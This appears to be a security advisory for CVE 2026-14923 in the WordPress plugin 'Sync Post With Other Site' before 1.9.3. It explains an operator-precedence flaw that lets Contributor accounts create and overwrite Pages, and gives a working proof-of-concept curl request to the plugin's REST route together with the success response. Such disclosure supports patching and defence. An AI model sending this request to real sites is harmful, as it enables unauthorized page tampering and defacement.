Sync Post With Other Site < 1.9.3 – Contributor+ Arbitrary Page Creation/Modification | CVE 2026-14923

Description

The plugin does not correctly enforce the page-editing capability on a REST route that creates and updates posts, because of an operator-precedence flaw in its authorization check. An authenticated user holding only the post-editing capability (such as a Contributor) can create, publish, and overwrite arbitrary Pages, including modifying content authored by higher-privileged users.

Proof of Concept

Prerequisites: An authenticated WordPress user account with the Contributor role (or any role with edit_posts but not edit_pages).

1. Send the following HTTP POST request to the target site:

curl -s -g -X POST "http://TARGET/index.php?rest_route=/sps/v1/data" \
  --data-urlencode "sps_action=add_update_post" \
  --data-urlencode "sps[content_username]=CONTRIBUTOR_USERNAME" \
  --data-urlencode "sps[content_password]=CONTRIBUTOR_PASSWORD" \
  --data-urlencode "sps[content_match]=title" \
  --data-urlencode "sps[strict_mode]=0" \
  --data-urlencode "post_type=page" \
  --data-urlencode "post_title=Unauthorized-Page-PoC" \
  --data-urlencode "post_content=Created by a Contributor via REST API bypass" \
  --data-urlencode "post_status=publish"

2. Server response confirms success:
{"status":"success","msg":"Data proccessed successfully","post_id":15,"post_action":"add"}

3. Verify in wp-admin > Pages: a new published Page now exists, authored by the Contributor-level account, despite that account lacking edit_pages capability and being denied access to the Pages screen in the admin UI itself.